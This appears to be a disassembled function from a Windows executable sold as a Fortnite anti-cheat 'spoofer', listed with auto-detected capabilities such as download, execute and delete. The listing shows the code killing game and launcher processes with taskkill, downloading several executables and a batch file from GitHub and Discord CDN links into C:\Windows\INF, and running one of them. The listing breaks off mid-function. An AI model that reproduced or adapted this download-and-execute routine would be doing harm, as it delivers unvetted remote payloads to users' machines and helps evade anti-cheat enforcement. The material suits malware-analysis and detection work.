Function at 0x140004c00
Capabilities:
Delete file
Download url
Encode data using xor
Execute command
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x478]
sub rsp, 0x550
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x140097098]
xor rax, rsp
mov qword [rbp + 0x410], rax
xor esi, esi
lea edx, [rsi + 2]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea edx, [rsi + 0xd]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____d888b___.d88b.__d8888b._db______d888888b_d8b___db___.d8888._d8888b.__.d88b.___.d88b.__d88888b_d88888b_d8888b.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88_Y8b_.8P__Y8._88___8D_88_________88___888o__88___88__YP_88___8D_.8P__Y8._.8P__Y8._88_____88_____88___8D
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88______88____88_88oooY_88_________88____88V8o_88____8bo.___88oodD_88____88_88____88_88ooo___88ooooo_88oobY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88__ooo_88____88_88b._88_________88____88_V8o88______Y8b._88___88____88_88____88_88___88_88_8b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88._8__8b__d8_88___8D_88booo.___.88.___88__V888___db___8D_88_______8b__d8__8b__d8_88______88._____88__88.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____Y888P____Y88P__Y8888P_Y88888P_Y888888P_VP___V8P____8888Y_88________Y88P____Y88P__YP______Y88888P_88___YD
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea edx, [rsi + 0xf]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str._________________________________________https:__goblinsp00fer.sellpass.io_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea edx, [rsi + 4]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xor edx, edx
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea edx, [rsi + 0x32]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_FortniteClient_Win64_Shipping_EAC.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_FortniteClient_Win64_Shipping.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_FortniteClient_Win64_Shipping_BE.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_FortniteLauncher.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_EpicGamesLauncher.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea edx, [rsi + 0xf]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [0x140086ec0]
lea rdx, str.https:__github.com_kakaoscsiga1245_262642461361ggdgf_raw_main_Cleaner8.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.C:WindowsINFDevManView.exe
lea rdx, str.https:__github.com_kakaoscsiga1245_fafadgfagga_raw_main_DevManView.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.C:WindowsINFDeviceCleanupCmd.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_1183031009856458765_1183031459435532388_DeviceCleanupCmd.exe_ex6586dae7is657465e7hmc00a54efe9e504ef56dbcda385e7245156285f98ca2d7f2b08bca91cb9ac5b21
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.C:WindowsINFDriveCleanup.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_1172935208413179996_1172935431499825244_DriveCleanup_2.exe_ex6562203eis654fab3ehm3fb8b8feb97d5719831091e3da913fc69ebd05cacde582aa4d4bfe652ada7ae1
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.C:WindowsINFWoofer.bat
lea rdx, str.https:__cdn.discordapp.com_attachments_1164985909855391867_1164986519564587018_Woofer.bat_ex6545353eis6532c03ehmdf352c79fdd5177f2e7457bcb5ce456bc3a428c1c816aa39f880b978fb7ff962
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.C:WindowsINFCleaner8.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
lea edx, [rsi + 0xd]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____d888b___.d88b.__d8888b._db______d888888b_d8b___db___.d8888._d8888b.__.d88b.___.d88b.__d88888b_d88888b_d8888b.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88_Y8b_.8P__Y8._88___8D_88_________88___888o__88___88__YP_88___8D_.8P__Y8._.8P__Y8._88_____88_____88___8D
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88______88____88_88oooY_88_________88____88V8o_88____8bo.___88oodD_88____88_88____88_88ooo___88ooooo_88oobY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88__ooo_88____88_88b._88_________88____88_V8o88______Y8b._88___88____88_88____88_88___88_88_8b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88._8__8b__d8_88___8D_88booo.___.88.___88__V888___db___8D_88_______8b__d8__8b__d8_88______88._____88__88.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____Y888P____Y88P__Y8888P_Y88888P_Y888888P_VP___V8P____8888Y_88________Y88P____Y88P__YP______Y88888P_88___YD
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea edx, [rsi + 0xf]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str._________________________________________https:__goblinsp00fer.sellpass.io_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea edx, [rsi + 9]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rbp + 0x408]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov edx, Ordinal_301
lea ecx, [rdx + 0x64]
call qword [sym.imp.USER32.dll_SetCursorPos]
lea rdx, str.___________________________________________________________________________________________________
lea rcx, [rbp + 0x3e8]
call fcn.140001a00
nop
lea rcx, [rbp + 0x3e8]
call fcn.140010840
mov rdi, rax
lea rcx, [rbp + 0x3e8]
call fcn.140010830
mov rbx, rax
cmp rax, rdi
je 0x140005181
mov qword [rsp + 0x40], 1
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x140005150
lea rdx, [0x140001aa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.The_spoofer_will_start_soon_and_disappear__but_just_wait_and_a_console_will_pop_up_when_its_done_
lea rcx, [rbp + 0x328]
call fcn.140001a00
nop
lea rcx, [rbp + 0x328]
call fcn.140010840
mov rdi, rax
lea rcx, [rbp + 0x328]
call fcn.140010830
mov rbx, rax
cmp rax, rdi
je 0x140005211
mov qword [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_30
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x1400051e0
lea rdx, [0x140001aa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.___________________________________________________________________________________________________
lea rcx, [rbp + 0x308]
call fcn.140001a00
nop
lea rcx, [rbp + 0x308]
call fcn.140010840
mov rdi, rax
lea rcx, [rbp + 0x308]
call fcn.140010830
mov rbx, rax
cmp rax, rdi
je 0x1400052a1
mov qword [rsp + 0x40], 1
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x140005270
lea rdx, [0x140001aa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140001aa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.___________________________________________________________________________________________________
lea rcx, [rbp + 0x2e8]
call fcn.140001a00
nop
lea rcx, [rbp + 0x2e8]
call fcn.140010840
mov rdi, rax
lea rcx, [rbp + 0x2e8]
call fcn.140010830
mov rbx, rax
cmp rax, rdi
je 0x140005341
mov qword [rsp + 0x40], 1
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x140005310
lea rdx, [0x140001aa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x288], xmm0
mov qword [rbp + 0x298], rsi
mov qword [rbp + 0x2a0], rsi
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.It_starts_in_a_few_seconds
lea rcx, [rbp + 0x288]
call fcn.140001ae0
nop
lea rcx, [rbp + 0x288]
cmp qword [rbp + 0x2a0], 0x10
setae byte [rsp + 0x62]
mov rax, qword [rbp + 0x288]
jb 0x1400053af
mov rdx, rax
mov rcx, rax
mov rbx, rax
jmp 0x1400053b9
mov rbx, rcx
lea rdx, [rbp + 0x288]
mov rdi, qword [rbp + 0x298]
add rdi, rdx
cmp rcx, rdi
je 0x140005402
mov qword [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_30
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x1400053d1
lea rdx, [0x140001aa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x268], xmm0
mov qword [rbp + 0x278], rsi
mov qword [rbp + 0x280], rsi
mov r8d, 0x63
lea rdx, str.___________________________________________________________________________________________________
lea rcx, [rbp + 0x268]
call fcn.140001ae0
nop
lea rcx, [rbp + 0x268]
cmp qword [rbp + 0x280], 0x10
setae byte [rsp + 0x61]
mov rax, qword [rbp + 0x268]
jb 0x140005470
mov rdx, rax
mov rcx, rax
mov rbx, rax
jmp 0x14000547a
mov rbx, rcx
lea rdx, [rbp + 0x268]
mov rdi, qword [rbp + 0x278]
add rdi, rdx
cmp rcx, rdi
je 0x1400054d1
mov qword [rsp + 0x40], 1
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x1400054a0
lea rdx, [0x140086659]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011430
lea rdx, [0x140001aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140086659]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011430
lea rdx, [0x140001aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x258], rsi
mov qword [rbp + 0x260], rsi
mov r8d, 9
lea rdx, str.Starting_
lea rcx, [rbp + 0x248]
call fcn.140001ae0
nop
lea rcx, [rbp + 0x248]
cmp qword [rbp + 0x260], 0x10
